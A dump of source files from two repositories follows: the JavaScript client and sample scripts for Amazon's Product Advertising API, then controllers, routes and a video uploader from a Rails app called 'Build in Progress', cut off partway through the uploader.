let marketPlaceDetail = marketplaceList.Marketplace.filter(x => x.Web === "www.amazon.com")[0];
resolve(marketPlaceDetail);
} else {
let marketPlaceDetail = marketplaceList.Marketplace.filter(x => x.Web === marketplace.toLowerCase())[0];
if(isUndefined(marketPlaceDetail)) reject("Invalid Marketplace Value.");
resolve(marketPlaceDetail);
}
});
const getPartnerType = partnerType => new Promise ((resolve, reject) => {
if (isUndefined(partnerType)) resolve('Associates');
else resolve(partnerType);
});
const isUndefined = value => typeof value === 'undefined';
const amazonPaapi = { GetItems, GetBrowseNodes, GetVariations, SearchItems };
module.exports = { ...amazonPaapi, default : amazonPaapi}; // Allow use of default import syntax in TypeScript.
<file_sep>/SDK/src/model/ItemInfo.js
/**
* Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/**
* ProductAdvertisingAPI
* https://webservices.amazon.com/paapi5/documentation/index.html
*
*/
(function(root, factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['ApiClient', 'model/ByLineInfo', 'model/Classifications', 'model/ContentInfo', 'model/ContentRating', 'model/ExternalIds', 'model/ManufactureInfo', 'model/MultiValuedAttribute', 'model/ProductInfo', 'model/SingleStringValuedAttribute', 'model/TechnicalInfo', 'model/TradeInInfo'], factory);
} else if (typeof module === 'object' && module.exports) {
// CommonJS-like environments that support module.exports, like Node.
module.exports = factory(require('../ApiClient'), require('./ByLineInfo'), require('./Classifications'), require('./ContentInfo'), require('./ContentRating'), require('./ExternalIds'), require('./ManufactureInfo'), require('./MultiValuedAttribute'), require('./ProductInfo'), require('./SingleStringValuedAttribute'), require('./TechnicalInfo'), require('./TradeInInfo'));
} else {
// Browser globals (root is window)
if (!root.ProductAdvertisingAPIv1) {
root.ProductAdvertisingAPIv1 = {};
}
root.ProductAdvertisingAPIv1.ItemInfo = factory(root.ProductAdvertisingAPIv1.ApiClient, root.ProductAdvertisingAPIv1.ByLineInfo, root.ProductAdvertisingAPIv1.Classifications, root.ProductAdvertisingAPIv1.ContentInfo, root.ProductAdvertisingAPIv1.ContentRating, root.ProductAdvertisingAPIv1.ExternalIds, root.ProductAdvertisingAPIv1.ManufactureInfo, root.ProductAdvertisingAPIv1.MultiValuedAttribute, root.ProductAdvertisingAPIv1.ProductInfo, root.ProductAdvertisingAPIv1.SingleStringValuedAttribute, root.ProductAdvertisingAPIv1.TechnicalInfo, root.ProductAdvertisingAPIv1.TradeInInfo);
}
}(this, function(ApiClient, ByLineInfo, Classifications, ContentInfo, ContentRating, ExternalIds, ManufactureInfo, MultiValuedAttribute, ProductInfo, SingleStringValuedAttribute, TechnicalInfo, TradeInInfo) {
'use strict';
/**
* The ItemInfo model module.
* @module model/ItemInfo
* @version 1.0.0
*/
/**
* Constructs a new <code>ItemInfo</code>.
* @alias module:model/ItemInfo
* @class
*/
var exports = function() {
var _this = this;
};
/**
* Constructs a <code>ItemInfo</code> from a plain JavaScript object, optionally creating a new instance.
* Copies all relevant properties from <code>data</code> to <code>obj</code> if supplied or a new instance if not.
* @param {Object} data The plain JavaScript object bearing properties of interest.
* @param {module:model/ItemInfo} obj Optional instance to populate.
* @return {module:model/ItemInfo} The populated <code>ItemInfo</code> instance.
*/
exports.constructFromObject = function(data, obj) {
if (data) {
obj = obj || new exports();
if (data.hasOwnProperty('ByLineInfo')) {
obj['ByLineInfo'] = ByLineInfo.constructFromObject(data['ByLineInfo']);
}
if (data.hasOwnProperty('Classifications')) {
obj['Classifications'] = Classifications.constructFromObject(data['Classifications']);
}
if (data.hasOwnProperty('ContentInfo')) {
obj['ContentInfo'] = ContentInfo.constructFromObject(data['ContentInfo']);
}
if (data.hasOwnProperty('ContentRating')) {
obj['ContentRating'] = ContentRating.constructFromObject(data['ContentRating']);
}
if (data.hasOwnProperty('ExternalIds')) {
obj['ExternalIds'] = ExternalIds.constructFromObject(data['ExternalIds']);
}
if (data.hasOwnProperty('Features')) {
obj['Features'] = MultiValuedAttribute.constructFromObject(data['Features']);
}
if (data.hasOwnProperty('ManufactureInfo')) {
obj['ManufactureInfo'] = ManufactureInfo.constructFromObject(data['ManufactureInfo']);
}
if (data.hasOwnProperty('ProductInfo')) {
obj['ProductInfo'] = ProductInfo.constructFromObject(data['ProductInfo']);
}
if (data.hasOwnProperty('TechnicalInfo')) {
obj['TechnicalInfo'] = TechnicalInfo.constructFromObject(data['TechnicalInfo']);
}
if (data.hasOwnProperty('Title')) {
obj['Title'] = SingleStringValuedAttribute.constructFromObject(data['Title']);
}
if (data.hasOwnProperty('TradeInInfo')) {
obj['TradeInInfo'] = TradeInInfo.constructFromObject(data['TradeInInfo']);
}
}
return obj;
}
/**
* @member {module:model/ByLineInfo} ByLineInfo
*/
exports.prototype['ByLineInfo'] = undefined;
/**
* @member {module:model/Classifications} Classifications
*/
exports.prototype['Classifications'] = undefined;
/**
* @member {module:model/ContentInfo} ContentInfo
*/
exports.prototype['ContentInfo'] = undefined;
/**
* @member {module:model/ContentRating} ContentRating
*/
exports.prototype['ContentRating'] = undefined;
/**
* @member {module:model/ExternalIds} ExternalIds
*/
exports.prototype['ExternalIds'] = undefined;
/**
* @member {module:model/MultiValuedAttribute} Features
*/
exports.prototype['Features'] = undefined;
/**
* @member {module:model/ManufactureInfo} ManufactureInfo
*/
exports.prototype['ManufactureInfo'] = undefined;
/**
* @member {module:model/ProductInfo} ProductInfo
*/
exports.prototype['ProductInfo'] = undefined;
/**
* @member {module:model/TechnicalInfo} TechnicalInfo
*/
exports.prototype['TechnicalInfo'] = undefined;
/**
* @member {module:model/SingleStringValuedAttribute} Title
*/
exports.prototype['Title'] = undefined;
/**
* @member {module:model/TradeInInfo} TradeInInfo
*/
exports.prototype['TradeInInfo'] = undefined;
return exports;
}));
<file_sep>/SDK/sampleSearchItemsApi.js
/**
* Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
// Run `npm install` locally before executing following code with `node sampleSearchItemsApi.js`
/**
* This sample code snippet is for ProductAdvertisingAPI 5.0's SearchItems API
* For more details, refer:
* https://webservices.amazon.com/paapi5/documentation/search-items.html
*/
var ProductAdvertisingAPIv1 = require('./src/index');
var defaultClient = ProductAdvertisingAPIv1.ApiClient.instance;
// Specify your credentials here. These are used to create and sign the request.
defaultClient.accessKey = '<YOUR ACCESS KEY>';
defaultClient.secretKey = '<YOUR SECRET KEY>';
/**
* PAAPI Host and Region to which you want to send request.
* For more details refer: https://webservices.amazon.com/paapi5/documentation/common-request-parameters.html#host-and-region
*/
defaultClient.host = 'webservices.amazon.com';
defaultClient.region = 'us-east-1';
var api = new ProductAdvertisingAPIv1.DefaultApi();
// Request Initialization
var searchItemsRequest = new ProductAdvertisingAPIv1.SearchItemsRequest();
/** Enter your partner tag (store/tracking id) and partner type */
searchItemsRequest['PartnerTag'] = '<YOUR PARTNER TAG>';
searchItemsRequest['PartnerType'] = 'Associates';
/** Specify Keywords */
searchItemsRequest['Keywords'] = 'Harry Potter';
/**
* Specify the category in which search request is to be made
* For more details, refer: https://webservices.amazon.com/paapi5/documentation/use-cases/organization-of-items-on-amazon/search-index.html
*/
searchItemsRequest['SearchIndex'] = 'Books';
/** Specify item count to be returned in search result */
searchItemsRequest['ItemCount'] = 2;
/**
* Choose resources you want from SearchItemsResource enum
* For more details, refer: https://webservices.amazon.com/paapi5/documentation/search-items.html#resources-parameter
*/
searchItemsRequest['Resources'] = ['Images.Primary.Medium', 'ItemInfo.Title', 'Offers.Listings.Price'];
function onSuccess(data) {
console.log('API called successfully.');
var searchItemsResponse = ProductAdvertisingAPIv1.SearchItemsResponse.constructFromObject(data);
console.log('Complete Response: \n' + JSON.stringify(searchItemsResponse, null, 1));
if (searchItemsResponse['SearchResult'] !== undefined) {
console.log('Printing First Item Information in SearchResult:');
var item_0 = searchItemsResponse['SearchResult']['Items'][0];
if (item_0 !== undefined) {
if (item_0['ASIN'] !== undefined) {
console.log('ASIN: ' + item_0['ASIN']);
}
if (item_0['DetailPageURL'] !== undefined) {
console.log('DetailPageURL: ' + item_0['DetailPageURL']);
}
if (
item_0['ItemInfo'] !== undefined &&
item_0['ItemInfo']['Title'] !== undefined &&
item_0['ItemInfo']['Title']['DisplayValue'] !== undefined
) {
console.log('Title: ' + item_0['ItemInfo']['Title']['DisplayValue']);
}
if (
item_0['Offers'] !== undefined &&
item_0['Offers']['Listings'] !== undefined &&
item_0['Offers']['Listings'][0]['Price'] !== undefined &&
item_0['Offers']['Listings'][0]['Price']['DisplayAmount'] !== undefined
) {
console.log('Buying Price: ' + item_0['Offers']['Listings'][0]['Price']['DisplayAmount']);
}
}
}
if (searchItemsResponse['Errors'] !== undefined) {
console.log('Errors:');
console.log('Complete Error Response: ' + JSON.stringify(searchItemsResponse['Errors'], null, 1));
console.log('Printing 1st Error:');
var error_0 = searchItemsResponse['Errors'][0];
console.log('Error Code: ' + error_0['Code']);
console.log('Error Message: ' + error_0['Message']);
}
}
function onError(error) {
console.log('Error calling PA-API 5.0!');
console.log('Printing Full Error Object:\n' + JSON.stringify(error, null, 1));
console.log('Status Code: ' + error['status']);
if (error['response'] !== undefined && error['response']['text'] !== undefined) {
console.log('Error Object: ' + JSON.stringify(error['response']['text'], null, 1));
}
}
api.searchItems(searchItemsRequest).then(
function(data) {
onSuccess(data);
},
function(error) {
onError(error);
}
);
<file_sep>/sample/getBrowseNodes.js
const amazonPaapi = require('amazon-paapi');
const ck = require('ckey'); // access .env variables
const commonParameters = {
'AccessKey' : ck.AWS_ACCESS_KEY,
'SecretKey' : ck.AWS_SECRET_KEY,
'PartnerTag' : ck.AWS_TAG, // yourtag-20
'PartnerType': 'Associates', // Default value is Associates.
'Marketplace': 'www.amazon.com' // Default value is US. Note: Host and Region are predetermined based on the marketplace value. There is no need for you to add Host and Region as soon as you specify the correct Marketplace value. If your region is not US or .com, please make sure you add the correct Marketplace value.
}
const requestParameters = {
'BrowseNodeIds' : ['3040', '3045'],
'LanguagesOfPreference' : ['es_US'],
'Resources' : ['BrowseNodes.Ancestor', 'BrowseNodes.Children']
};
/** Promise */
amazonPaapi.GetBrowseNodes(commonParameters, requestParameters)
.then(data => {
// do something with the success response.
console.log(data);
})
.catch(error => {
// catch an error.
console.log(error)
});
<file_sep>/SDK/sampleGetItemsApi.js
/**
* Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
// Run `npm install` locally before executing following code with `node sampleGetItemsApi.js`
/**
* This sample code snippet is for ProductAdvertisingAPI 5.0's GetItems API
* For more details, refer:
* https://webservices.amazon.com/paapi5/documentation/get-items.html
*/
var ProductAdvertisingAPIv1 = require('./src/index');
var defaultClient = ProductAdvertisingAPIv1.ApiClient.instance;
// Specify your credentials here. These are used to create and sign the request.
defaultClient.accessKey = '<YOUR ACCESS KEY>';
defaultClient.secretKey = '<YOUR SECRET KEY>';
/**
* PAAPI Host and Region to which you want to send request.
* For more details refer: https://webservices.amazon.com/paapi5/documentation/common-request-parameters.html#host-and-region
*/
defaultClient.host = 'webservices.amazon.com';
defaultClient.region = 'us-east-1';
var api = new ProductAdvertisingAPIv1.DefaultApi();
// Request Initialization
var getItemsRequest = new ProductAdvertisingAPIv1.GetItemsRequest();
/** Enter your partner tag (store/tracking id) and partner type */
getItemsRequest['PartnerTag'] = '<YOUR PARTNER TAG>';
getItemsRequest['PartnerType'] = 'Associates';
/** Enter the Item IDs for which item information is desired */
getItemsRequest['ItemIds'] = ['059035342X', 'B00X4WHP5E', 'B00ZV9RDKK'];
getItemsRequest['Condition'] = 'New';
/**
* Choose resources you want from GetItemsResource enum
* For more details, refer: https://webservices.amazon.com/paapi5/documentation/get-items.html#resources-parameter
*/
getItemsRequest['Resources'] = ['Images.Primary.Medium', 'ItemInfo.Title', 'Offers.Listings.Price'];
/**
* Function to parse GetItemsResponse into an object with key as ASIN
*/
function parseResponse(itemsResponseList) {
var mappedResponse = {};
for (var i in itemsResponseList) {
if (itemsResponseList.hasOwnProperty(i)) {
mappedResponse[itemsResponseList[i]['ASIN']] = itemsResponseList[i];
}
}
return mappedResponse;
}
function onSuccess(data) {
console.log('API called successfully.');
var getItemsResponse = ProductAdvertisingAPIv1.GetItemsResponse.constructFromObject(data);
console.log('Complete Response: \n' + JSON.stringify(getItemsResponse, null, 1));
if (getItemsResponse['ItemsResult'] !== undefined) {
console.log('Printing All Item Information in ItemsResult:');
var response_list = parseResponse(getItemsResponse['ItemsResult']['Items']);
for (var i in getItemsRequest['ItemIds']) {
if (getItemsRequest['ItemIds'].hasOwnProperty(i)) {
var itemId = getItemsRequest['ItemIds'][i];
console.log('\nPrinting information about the Item with Id: ' + itemId);
if (itemId in response_list) {
var item = response_list[itemId];
if (item !== undefined) {
if (item['ASIN'] !== undefined) {
console.log('ASIN: ' + item['ASIN']);
}
if (item['DetailPageURL'] !== undefined) {
console.log('DetailPageURL: ' + item['DetailPageURL']);
}
if (
item['ItemInfo'] !== undefined &&
item['ItemInfo']['Title'] !== undefined &&
item['ItemInfo']['Title']['DisplayValue'] !== undefined
) {
console.log('Title: ' + item['ItemInfo']['Title']['DisplayValue']);
}
if (
item['Offers'] !== undefined &&
item['Offers']['Listings'] !== undefined &&
item['Offers']['Listings'][0]['Price'] !== undefined &&
item['Offers']['Listings'][0]['Price']['DisplayAmount'] !== undefined
) {
console.log('Buying Price: ' + item['Offers']['Listings'][0]['Price']['DisplayAmount']);
}
}
} else {
console.log('Item not found, check errors');
}
}
}
}
if (getItemsResponse['Errors'] !== undefined) {
console.log('\nErrors:');
console.log('Complete Error Response: ' + JSON.stringify(getItemsResponse['Errors'], null, 1));
console.log('Printing 1st Error:');
var error_0 = getItemsResponse['Errors'][0];
console.log('Error Code: ' + error_0['Code']);
console.log('Error Message: ' + error_0['Message']);
}
}
function onError(error) {
console.log('Error calling PA-API 5.0!');
console.log('Printing Full Error Object:\n' + JSON.stringify(error, null, 1));
console.log('Status Code: ' + error['status']);
if (error['response'] !== undefined && error['response']['text'] !== undefined) {
console.log('Error Object: ' + JSON.stringify(error['response']['text'], null, 1));
}
}
api.getItems(getItemsRequest).then(
function(data) {
onSuccess(data);
},
function(error) {
onError(error);
}
);
<file_sep>/SDK/src/model/GetBrowseNodesRequest.js
/**
* Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/**
* ProductAdvertisingAPI
* https://webservices.amazon.com/paapi5/documentation/index.html
*
*/
(function(root, factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['ApiClient', 'model/GetBrowseNodesResource', 'model/PartnerType'], factory);
} else if (typeof module === 'object' && module.exports) {
// CommonJS-like environments that support module.exports, like Node.
module.exports = factory(require('../ApiClient'), require('./GetBrowseNodesResource'), require('./PartnerType'));
} else {
// Browser globals (root is window)
if (!root.ProductAdvertisingAPIv1) {
root.ProductAdvertisingAPIv1 = {};
}
root.ProductAdvertisingAPIv1.GetBrowseNodesRequest = factory(root.ProductAdvertisingAPIv1.ApiClient, root.ProductAdvertisingAPIv1.GetBrowseNodesResource, root.ProductAdvertisingAPIv1.PartnerType);
}
}(this, function(ApiClient, GetBrowseNodesResource, PartnerType) {
'use strict';
/**
* The GetBrowseNodesRequest model module.
* @module model/GetBrowseNodesRequest
* @version 1.0.0
*/
/**
* Constructs a new <code>GetBrowseNodesRequest</code>.
* @alias module:model/GetBrowseNodesRequest
* @class
* @param browseNodeIds {Array.<String>}
* @param partnerTag {String}
* @param partnerType {module:model/PartnerType}
*/
var exports = function(browseNodeIds, partnerTag, partnerType) {
var _this = this;
_this['BrowseNodeIds'] = browseNodeIds;
_this['PartnerTag'] = partnerTag;
_this['PartnerType'] = partnerType;
};
/**
* Constructs a <code>GetBrowseNodesRequest</code> from a plain JavaScript object, optionally creating a new instance.
* Copies all relevant properties from <code>data</code> to <code>obj</code> if supplied or a new instance if not.
* @param {Object} data The plain JavaScript object bearing properties of interest.
* @param {module:model/GetBrowseNodesRequest} obj Optional instance to populate.
* @return {module:model/GetBrowseNodesRequest} The populated <code>GetBrowseNodesRequest</code> instance.
*/
exports.constructFromObject = function(data, obj) {
if (data) {
obj = obj || new exports();
if (data.hasOwnProperty('BrowseNodeIds')) {
obj['BrowseNodeIds'] = ApiClient.convertToType(data['BrowseNodeIds'], ['String']);
}
if (data.hasOwnProperty('LanguagesOfPreference')) {
obj['LanguagesOfPreference'] = ApiClient.convertToType(data['LanguagesOfPreference'], ['String']);
}
if (data.hasOwnProperty('Marketplace')) {
obj['Marketplace'] = ApiClient.convertToType(data['Marketplace'], 'String');
}
if (data.hasOwnProperty('PartnerTag')) {
obj['PartnerTag'] = ApiClient.convertToType(data['PartnerTag'], 'String');
}
if (data.hasOwnProperty('PartnerType')) {
obj['PartnerType'] = PartnerType.constructFromObject(data['PartnerType']);
}
if (data.hasOwnProperty('Resources')) {
obj['Resources'] = ApiClient.convertToType(data['Resources'], [GetBrowseNodesResource]);
}
}
return obj;
}
/**
* @member {Array.<String>} BrowseNodeIds
*/
exports.prototype['BrowseNodeIds'] = undefined;
/**
* @member {Array.<String>} LanguagesOfPreference
*/
exports.prototype['LanguagesOfPreference'] = undefined;
/**
* @member {String} Marketplace
*/
exports.prototype['Marketplace'] = undefined;
/**
* @member {String} PartnerTag
*/
exports.prototype['PartnerTag'] = undefined;
/**
* @member {module:model/PartnerType} PartnerType
*/
exports.prototype['PartnerType'] = undefined;
/**
* @member {Array.<module:model/GetBrowseNodesResource>} Resources
*/
exports.prototype['Resources'] = undefined;
return exports;
}));
| 8d6892700bd346a55e12d2d6efa5135993659f06 | [
"JavaScript",
"Markdown"
] | 20 | JavaScript | jorgerosal/amazon-paapi | b505dd259ae70a7bdea4fda1bcea07496edb447f | ee7f3c4dbf2ba938b9a96169895049b518dc9939 |
refs/heads/master | <repo_name>daddyreb/Build-in-Progress-Web<file_sep>/app/controllers/images_controller.rb
class ImagesController < ApplicationController
include NewRelic::Agent::Instrumentation::ControllerInstrumentation
include CarrierWave::MiniMagick
before_filter :authenticate_user!
# GET /images
def index
@images = Image.find(:all)
end
# GET /images/1
def show
@image = Image.find(params[:id])
end
# GET /images/new
def new
@image = Image.new
end
# POST /images
def create
if params[:image]
imageObj = Hash.new
imageObj["project_id"]=params[:project_id].to_f
imageObj["step_id"]=params[:step_id].to_f
imageObj["saved"]=false
imageObj["user_id"]=params[:user_id].to_f
s3_image_url = params[:image][:image_path]
Rails.logger.debug("s3_image_url: #{s3_image_url}")
image_url = s3_image_url.gsub('%2F', '/')
imageObj["s3_filepath"] = image_url
@image = Image.new(imageObj)
authorize! :create, @image
@image.save
# now that the temp image is saved, set the image path url
@image.delay.upload_image
else # image sent from android app
imageObj = Hash.new
imageObj["project_id"]=params[:project_id]
imageObj["step_id"]=params[:step_id]
imageObj["saved"]=false
imageObj["image_path"]=params[:image_path]
imageObj["user_id"]=params[:user_id]
@image = Image.create(imageObj)
end
if @image.step_id != -1
# adding image to existing step
num_step_images = Step.find(@image.step_id).images.count
else
num_step_images = Project.find(@image.project_id).images.where("step_id = ? AND user_id = ?", -1, @image.user_id).count
end
@image.update_attributes(:position => num_step_images-1)
# update the corresponding project
@image.project.touch
respond_to do |format|
if request.format.xhr?
format.js
else
image_info = @image.id, @image.s3_filepath
format.html{ render :json => image_info.to_json}
format.js { render :json => image_info.to_json}
format.xml { render :json => image_info.to_json}
end
end
end
# GET /images/1/edit
def edit
@image = Image.find(params[:id])
end
# rotate an image 90 degrees counter clockwise
def rotate
@image = Image.find(params[:id])
@rotation = params[:rotation]
if @rotation == "8"
@rotation = 270
end
@image.update_column(:rotation, @rotation)
respond_to do |format|
format.js { render :nothing => true }
end
end
# PUT /images/1
def update
@image = Image.find(params[:id])
@project = @image.project_id
@step = @image.step_id
@position = Step.find_by_id(@step).position
if @image.update_attributes(params[:image])
redirect_to edit_project_step_url(@project, @position), notice: "image was successfully updated."
else
render :edit
end
end
# DELETE /images/1
def destroy
if(params[:s3_filepath])
# cleaned_filepath = params[:s3_filepath].gsub('%2F', '/').gsub(" ", "+")
# @image = Image.where(:s3_filepath => cleaned_filepath).first
@image = Image.where(:s3_filepath => params[:s3_filepath]).first
else
@image = Image.find(params[:id])
authorize! :destroy, @image
# delete any references to this image
if !@image.is_remix_image?
@image.remix_images.each do |image|
if image.has_video?
image.video.destroy
end
image.destroy
end
end
if @image.step_id != -1
if @image.position < @image.step.images.count
@image.step.images.order(:position).where("position > ?", @image.position).each do |image|
Rails.logger.debug "image position before: #{image.position}"
image.update_attributes(:position => image.position-1)
Rails.logger.debug "image position after: #{image.position}"
end
end
else
remix_images = @image.project.images.where(:step_id=>-1)
if @image.position < remix_images.count
remix_images.order(:position).where("position > ? ", @image.position).each do |image|
image.update_attributes(:position=> image.position-1)
end
end
end
# set project to new unlisted if necessary
if @image.project.images.count == 0
@image.project.update_attributes(:privacy => nil)
end
end
# destroy original image
@image.destroy
respond_to do |format|
format.js {render :nothing => true}
end
end
# Sorts images
def sort
params[:image].each_with_index do |id, index|
Image.update_all({position: index}, {id: id})
end
render nothing: true
end
# finds the id of an image based on the s3 path url
def find_image_id
s3_url = params[:s3_url]
image = Image.where("s3_filepath = ? ", s3_url).first
if image != nil
Rails.logger.debug("image.id : #{image.id}")
end
respond_to do |format|
format.js {
if image != nil
render :json => image.id
else
render :nothing => true
end
}
end
end
# export images
def export
image = Image.find(:params[:id])
send_file(image.image_path_url, :type => 'image/jpeg')
end
end
<file_sep>/app/models/decision.rb
class Decision < ActiveRecord::Base
attr_accessible :description, :question_id
belongs_to :question
after_update :check_blank
def check_blank
if description.blank?
self.destroy
end
end
end
<file_sep>/app/controllers/collectifies_controller.rb
class CollectifiesController < ApplicationController
before_filter :authenticate_user!
def create
end
def destroy
@collection = Collection.find(params[:id])
@project = Project.find(params[:project_id])
collectify_id = Collectify.where(:project_id=>@project.id, :collection_id=>@collection)
authorize! :destroy, Collectify.find(collectify_id)
PublicActivity::Activity.where(:trackable_id => collectify_id).destroy_all
@collection.remove!(@project)
if !@collection.published?
@collection.update_attributes(:published=>false)
# remove public activities for that collection
Rails.logger.debug "removing public activity for collection #{@collection.id}"
PublicActivity::Activity.where(:trackable_id => @collection).destroy_all
end
redirect_to @collection
end
end
<file_sep>/app/controllers/design_files_controller.rb
class DesignFilesController < ApplicationController
before_filter :authenticate_user!
# GET /design_files
def index
@designFiles = DesignFile.find(:all)
end
# GET /design_files/1
def show
@designFile = DesignFile.find(params[:id])
end
# GET /design_files/new
def new
@designFile = DesignFile.new
end
# POST /design_files
def create
if params[:design_file]
@designFile = DesignFile.new(params[:design_file])
authorize! :create, @designFile
@designFile.save
end
# update the corresponding project
@designFile.project.touch
respond_to do |format|
format.html {render nothing: true}
format.js
end
end
# DELETE /design_files/1
def destroy
@designFile = DesignFile.find(params[:id])
authorize! :destroy, @designFile
if @designFile.user == current_user
Rails.logger.debug("destroying design file")
@designFile.destroy
end
respond_to do |format|
format.html {render nothing: true}
format.js
end
end
end
<file_sep>/config/routes.rb
Build::Application.routes.draw do
devise_for :admins
if Rails.env.development?
mount MailPreview => 'mail_view'
end
get "search/new"
get "errors/not_found"
get "errors/unacceptable"
get "errors/internal_error"
get "errors/unauthorized"
resources :notifications do
collection {post :sort}
get :update_seen, on: :collection
end
resources :activity_feed do
collection {post :sort}
end
devise_for :users, :controllers => {:registrations => :registrations, omniauth_callbacks: "users/omniauth_callbacks"}
devise_scope :user do
post 'registrations' => 'registrations#create', :as => 'register'
post 'sessions' => 'sessions#create', :as => 'login'
delete 'sessions' => 'sessions#destroy', :as => 'logout'
end
get "home/index"
get "about", to: "home#about"
get "help", to: "home#help"
get "documentation_tips", to: "home#documentation_tips"
get "news", to: "home#news"
get "mobile", to: "home#mobile"
get "mobile/request", to: "home#mobile_request"
get "privacy_policy", to: "home#privacy_policy"
get "dashboard", to: "home#dashboard"
match 'contact' => 'contact#new', :as=> 'contact', :via => :get
match 'contact' => 'contact#create', :as=> 'contact', :via=>:post
match 'announcements/:id/hide', to: 'home#hide_announcement', as: 'hide_announcement'
match 'search', to: 'application#search', as: :search
resources :users, :id => /[A-Za-z0-9\-\_\.\+]+?/ , :format => /json|csv|xml|yaml/ do
match 'users/:id' => 'users#username'
get 'validate_username', on: :collection
get 'validate_email', on: :collection
get :search, on: :collection
get 'edit_profile', on: :member
get :projects, on: :member
get :favorites, on: :member
get :collections, on: :member
get :touch, on: :collection
member do
get :follow
get :unfollow
get :following
get :followers
end
end
resources :collections do
post :add_project, on: :member
get :projects, on: :member
get :challenges, on: :collection
get :search, on: :collection
get :update_privacy, on: :member
end
resources :collectifies do
end
resources :categories do
end
resources :projects do
collection {post :sort}
get :builds, on: :collection
get :built, on: :collection
get :featured, on: :collection
get :search, on: :collection
get :editTitle, on: :collection
post :categorize, on: :member
put :favorite, on: :member
put :remix, on: :member
get :embed, on: :member
get :gallery, on: :member
get :imageView, on: :member
get :blog, on: :member
get :export, on: :member
get :export_txt, on: :member
get :update_privacy, on: :member
get :find_users, on: :collection
get :add_users, on: :collection
get :remove_user, on: :collection
get :check_privacy, on: :collection
get :log, on: :member
get :timemachine, on: :member
resources :steps do
collection {post :sort}
resources :comments, :only => [:create, :destroy]
get :create_branch, on: :collection
get :reset_started_editing, on: :member
get :update_ancestry, on: :collection
get :edit_redirect, on: :collection
get :get_position, on: :collection
get :show_redirect, on: :collection
get :update_new_image, on: :member
get :mobile, on: :collection
end
match "steps/:id" => "steps#number", :as => :number
end
resources :images do
collection {post :sort}
get :find_image_id, on: :collection
get :rotate, on: :member
get :export, on: :member
end
resources :charts do
get :users, on: :collection
get :users_by_month, on: :collection
get :steps, on: :collection
get :steps_by_month, on: :collection
get :comments, on: :collection
get :comments_by_month, on: :collection
end
get "videos/embed_url" => "videos#embed_url", :as => :video_embed_url
resources :videos do
post :create_mobile, on: :collection
end
resources :sounds do
end
resources :design_files do
end
root :to => 'home#index'
post "versions/:id/revert" => "versions#revert", :as => "revert_version"
%w( 404 422 500 ).each do |code|
get code, :to => "errors#show", :code => code
end
end
# The priority is based upon order of creation:
# first created -> highest priority.
# Sample of regular route:
# match 'products/:id' => 'catalog#view'
# Keep in mind you can assign values other than :controller and :action
# Sample of named route:
# match 'products/:id/purchase' => 'catalog#purchase', :as => :purchase
# This route can be invoked with purchase_url(:id => product.id)
# Sample resource route (maps HTTP verbs to controller actions automatically):
# resources :products
# Sample resource route with options:
# resources :products do
# member do
# get 'short'
# post 'toggle'
# end
#
# collection do
# get 'sold'
# end
# end
# Sample resource route with sub-resources:
# resources :products do
# resources :comments, :sales
# resource :seller
# end
# Sample resource route with more complex sub-resources
# resources :products do
# resources :comments
# resources :sales do
# get 'recent', :on => :collection
# end
# end
# Sample resource route within a namespace:
# namespace :admin do
# # Directs /admin/products/* to Admin::ProductsController
# # (app/controllers/admin/products_controller.rb)
# resources :products
# end
# You can have the root of your site routed with "root"
# just remember to delete public/index.html.
# See how all your routes lay out with "rake routes"
# This is a legacy wild controller route that's not recommended for RESTful applications.
# Note: This route will make all actions in every controller accessible via GET requests.
# match ':controller(/:action(/:id))(.:format)'
<file_sep>/app/uploaders/video_path_uploader.rb
require 'carrierwave/processing/mime_types'
require 'rubygems'
require 'mini_exiftool'
class VideoPathUploader < CarrierWave::Uploader::Base
include CarrierWave::Video
include CarrierWave::Video::Thumbnailer
include CarrierWave::MimeTypes
# Include RMagick or MiniMagick support:
# include CarrierWave::RMagick
include CarrierWave::MiniMagick
orientation = 0
# Choose what kind of storage to use for this uploader:
# storage :file
storage :fog
# Override the directory where uploaded files will be stored.
# This is a sensible default for uploaders that are meant to be mounted:
def store_dir
"#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}"
end
process :encode
def encode
video = MiniExiftool.new(@file.path)
orientation = video.rotation
model.rotation = orientation
Rails.logger.debug("orientation: #{orientation}")
Rails.logger.debug("video wxh #{video.imagewidth} #{video.imageheight}")
if orientation == 90 && video.imagewidth.to_f > video.imageheight.to_f
Rails.logger.debug("rotating video")
aspect_ratio = video.imageheight.to_f / video.imagewidth.to_f
encode_video(:mp4, audio_codec: "aac", custom: "-strict experimental -q:v 5 -preset slow -g 30 -vf transpose=1 -vsync 2", aspect: aspect_ratio)
elsif orientation == 180 && video.imagewidth.to_f > video.imageheight.to_f
Rails.logger.debug('180')
